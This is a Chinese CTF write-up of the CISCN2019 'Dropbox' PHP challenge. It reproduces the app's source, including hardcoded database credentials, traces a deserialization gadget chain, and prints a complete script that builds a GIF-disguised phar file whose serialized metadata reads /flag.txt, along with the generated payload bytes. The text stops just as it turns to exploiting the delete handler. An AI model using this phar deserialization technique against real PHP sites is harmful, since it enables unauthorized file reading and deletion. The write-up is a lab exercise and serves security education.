Phar序列化
概述
记录一道php的Phar序列化题目([CISCN2019 华北赛区 Day1 Web1]Dropbox),进入可以看到登录的提示框,以为是一个二次注入(有注册的选项),先注册进入界面。
漏洞
尝试上传一个木马,但是它强改后缀了,但是好像还有下载的选项,可能存在任意文件下载。
尝试发现可以通过修改达到文件下载,但是限制文件路径。
我们把能下载的文件先下载完全:一共有这几个class.php,download.php,index.php,login.php,upload.php。
代码审计
index:new了一个$a对象调用了两个函数。
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
login:
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
>
<?php
include "class.php";
if (isset($_GET['register'])) {
echo "<script>toast('注册成功', 'info');</script>";
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("<script>window.location.href='index.php';</script>");
die();
}
echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>
download:发现用ini_set限制死了路径同时过滤了flag。
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
class:
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
漏洞
关键在于对于class.php的利用上,我们主要关注class.php的魔术函数,我们把代码给简化:
<?php
class User {
public $db;
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
}
class File {
public $filename;
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
可以发现存在php序列化漏洞,因为user可调用File的close查看flag,我们试着构造序列化代码,但是存在问题,我们怎么利用这个序列化漏洞,我们发现unlink、file_get_contents、isdir、file_exists等调用函数,于是转于利用phar伪协议,这个协议不会查看文件的后缀名但是要存在关键字符,具体可看:利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org):
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array();
$this->results = array();
$this->funcs = array();
$file=new File();
$file->filename="/flag.txt";
array_push($this->files,$file);
}
}
$user=new User();
$user->db=new FileList();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($user); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
接下来运行代码得到phar攻击脚本:
GIF89a<?php __HALT_COMPILER(); ?>
? ? O:4:"User":1:{s:2:"db";O:8:"FileList":3:{s:15:" FileList files";a:1:{i:0;O:4:"File":1:{s:8:"filename";s:9:"/flag.txt";}}s:17:" FileList results";a:0:{}s:15:" FileList funcs";a:0:{}}} test.txt ,A ~丐 test]豐|#|Q蹅儥FGm?] GBMB
攻击
此处在download的文件下设置了目录要求,我们对delete进行漏洞利用。